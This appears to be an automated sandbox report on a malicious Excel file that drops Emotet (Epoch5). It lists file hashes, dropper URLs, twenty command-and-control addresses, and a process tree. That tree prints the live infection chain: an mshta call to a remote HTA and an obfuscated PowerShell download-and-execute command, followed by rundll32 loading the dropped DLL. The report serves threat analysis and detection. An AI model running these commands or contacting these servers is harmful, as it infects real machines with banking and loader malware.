Analysis

  • max time kernel
    118s
  • max time network
    153s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 03:24

General

  • Target

    315802408ec0fb7845845436ceb8a6aac4bb344cd4d8f4c33aae47c719b71993.xls

  • Size

    154KB

  • MD5

    02f2895dac8e2bae5d84dc7b60a0fc46

  • SHA1

    0a0084e237bbe3470718a837d6dccaf5fbd2889e

  • SHA256

    315802408ec0fb7845845436ceb8a6aac4bb344cd4d8f4c33aae47c719b71993

  • SHA512

    9e9ede0a2a996d1dbf3026ba3558101967e74dd7e52a1cdd9e25def0280069bc5228270fbe5838f0dc6b799f507d93af07e059f1a196b9ddbbee9b7e904a3b99

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\315802408ec0fb7845845436ceb8a6aac4bb344cd4d8f4c33aae47c719b71993.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3716
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3612
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/qqqw/aaas/se.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:3188
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3176
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1712
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3916
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3268
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Odectqhfpnz\zxrurmezhbyg.fqs",XzWIlQACkMagc
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3620
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Odectqhfpnz\zxrurmezhbyg.fqs",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3592
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 3188 -s 1920
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2076

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\QWER.dll
    MD5

    2c05321ef3ac468ec85717080ed0094c

    SHA1

    dc7ac78ce5d32d6716cc7aa2c34f829d1d34f68e

    SHA256

    1bd58cb752abdb6f374c52f190b463628d3efacade6db9ff6af8afea2f47247d

    SHA512

    0f70c4ebe9b95ef8534d0631f1242df74365c6c9342f61b8bc9c5c1d3b3b55a6e59dde77a900bc1b8e0033447f747c772b25061948ba816286f3186a8e6e86d7

  • \ProgramData\QWER.dll
    MD5

    2c05321ef3ac468ec85717080ed0094c

    SHA1

    dc7ac78ce5d32d6716cc7aa2c34f829d1d34f68e

    SHA256

    1bd58cb752abdb6f374c52f190b463628d3efacade6db9ff6af8afea2f47247d

    SHA512

    0f70c4ebe9b95ef8534d0631f1242df74365c6c9342f61b8bc9c5c1d3b3b55a6e59dde77a900bc1b8e0033447f747c772b25061948ba816286f3186a8e6e86d7

  • \ProgramData\QWER.dll
    MD5

    2c05321ef3ac468ec85717080ed0094c

    SHA1

    dc7ac78ce5d32d6716cc7aa2c34f829d1d34f68e

    SHA256

    1bd58cb752abdb6f374c52f190b463628d3efacade6db9ff6af8afea2f47247d

    SHA512

    0f70c4ebe9b95ef8534d0631f1242df74365c6c9342f61b8bc9c5c1d3b3b55a6e59dde77a900bc1b8e0033447f747c772b25061948ba816286f3186a8e6e86d7

  • memory/3176-296-0x0000018B3C590000-0x0000018B3C592000-memory.dmp
    Filesize

    8KB

  • memory/3176-279-0x0000018B547A0000-0x0000018B547C2000-memory.dmp
    Filesize

    136KB

  • memory/3176-297-0x0000018B3C593000-0x0000018B3C595000-memory.dmp
    Filesize

    8KB

  • memory/3176-300-0x0000018B54920000-0x0000018B5495C000-memory.dmp
    Filesize

    240KB

  • memory/3176-312-0x0000018B54E90000-0x0000018B54F06000-memory.dmp
    Filesize

    472KB

  • memory/3176-319-0x0000018B3C596000-0x0000018B3C598000-memory.dmp
    Filesize

    8KB

  • memory/3268-338-0x0000000005320000-0x0000000005347000-memory.dmp
    Filesize

    156KB

  • memory/3268-336-0x0000000005240000-0x0000000005267000-memory.dmp
    Filesize

    156KB

  • memory/3268-333-0x0000000004BF0000-0x0000000004C17000-memory.dmp
    Filesize

    156KB

  • memory/3268-346-0x00000000056F0000-0x0000000005717000-memory.dmp
    Filesize

    156KB

  • memory/3268-344-0x0000000005540000-0x0000000005567000-memory.dmp
    Filesize

    156KB

  • memory/3268-342-0x00000000054E0000-0x0000000005507000-memory.dmp
    Filesize

    156KB

  • memory/3268-340-0x0000000005480000-0x00000000054A7000-memory.dmp
    Filesize

    156KB

  • memory/3592-352-0x0000000005080000-0x00000000050A7000-memory.dmp
    Filesize

    156KB

  • memory/3592-349-0x0000000004940000-0x0000000004967000-memory.dmp
    Filesize

    156KB

  • memory/3592-362-0x00000000054F0000-0x0000000005517000-memory.dmp
    Filesize

    156KB

  • memory/3592-360-0x0000000005400000-0x0000000005427000-memory.dmp
    Filesize

    156KB

  • memory/3592-354-0x0000000005160000-0x0000000005187000-memory.dmp
    Filesize

    156KB

  • memory/3716-119-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
    Filesize

    64KB

  • memory/3716-118-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
    Filesize

    64KB

  • memory/3716-115-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
    Filesize

    64KB

  • memory/3716-117-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
    Filesize

    64KB

  • memory/3716-398-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
    Filesize

    64KB

  • memory/3716-116-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
    Filesize

    64KB

  • memory/3716-128-0x00007FF966FD0000-0x00007FF966FE0000-memory.dmp
    Filesize

    64KB

  • memory/3716-395-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
    Filesize

    64KB

  • memory/3716-396-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
    Filesize

    64KB

  • memory/3716-397-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
    Filesize

    64KB

  • memory/3716-129-0x00007FF966FD0000-0x00007FF966FE0000-memory.dmp
    Filesize

    64KB

  • memory/3916-330-0x0000000004450000-0x0000000004477000-memory.dmp
    Filesize

    156KB